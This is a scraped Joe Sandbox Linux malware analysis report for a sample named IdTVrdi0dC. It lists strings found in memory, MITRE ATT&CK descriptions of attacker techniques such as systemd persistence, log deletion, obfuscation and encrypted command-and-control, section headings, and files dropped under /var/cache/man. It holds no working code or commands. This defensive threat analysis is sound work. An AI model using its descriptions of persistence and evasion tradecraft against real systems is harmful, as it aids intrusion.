Source: IdTVrdi0dC, 6293.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6304.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6307.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6317.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6309.1.00000000e30c305f.0000000011f530a5.rwx.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope//
Source: IdTVrdi0dC	String found in binary or memory: http://upx.sf.net
Source: IdTVrdi0dC, 6293.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6304.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6307.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6317.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6309.1.00000000e30c305f.0000000011f530a5.rwx.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.htm)
Source: IdTVrdi0dC, 6293.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6304.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6307.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6317.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6309.1.00000000e30c305f.0000000011f530a5.rwx.sdmp	String found in binary or memory: http://www.baidu.com/search/spider.html)
Source: IdTVrdi0dC, 6293.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6304.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6307.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6317.1.00000000e30c305f.0000000011f530a5.rwx.sdmp, IdTVrdi0dC, 6309.1.00000000e30c305f.0000000011f530a5.rwx.sdmp	String found in binary or memory: http://www.billybobbot.com/crawler/)

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as Bash History and /var/log/*.
Tactics:	Defense Evasion
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report IdTVrdi0dC

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/cache/man/6277

/var/cache/man/cs/6277

/var/cache/man/cs/index.db.jy4rIR

/var/cache/man/da/6277

/var/cache/man/da/index.db.3817uQ

/var/cache/man/de/6277

/var/cache/man/de/index.db.ZI4EGQ

/var/cache/man/es/6277

/var/cache/man/es/index.db.bhjavP

/var/cache/man/fi/6277

/var/cache/man/fi/index.db.kus5wR

/var/cache/man/fr.ISO8859-1/6277

/var/cache/man/fr.ISO8859-1/index.db.VOcblQ

/var/cache/man/fr.UTF-8/6277

/var/cache/man/fr.UTF-8/index.db.jcFrIQ

/var/cache/man/fr/6277

/var/cache/man/fr/index.db.ca9IJO

/var/cache/man/hu/6277

/var/cache/man/hu/index.db.1sxT6P

/var/cache/man/id/6277

/var/cache/man/id/index.db.osD1lS

/var/cache/man/index.db.nywSaO

/var/cache/man/it/6277

/var/cache/man/it/index.db.GZWF5Q

/var/cache/man/ja/6277

/var/cache/man/ja/index.db.aksNfS

/var/cache/man/ko/6277

/var/cache/man/ko/index.db.2KfkTP

Linux Analysis Report
IdTVrdi0dC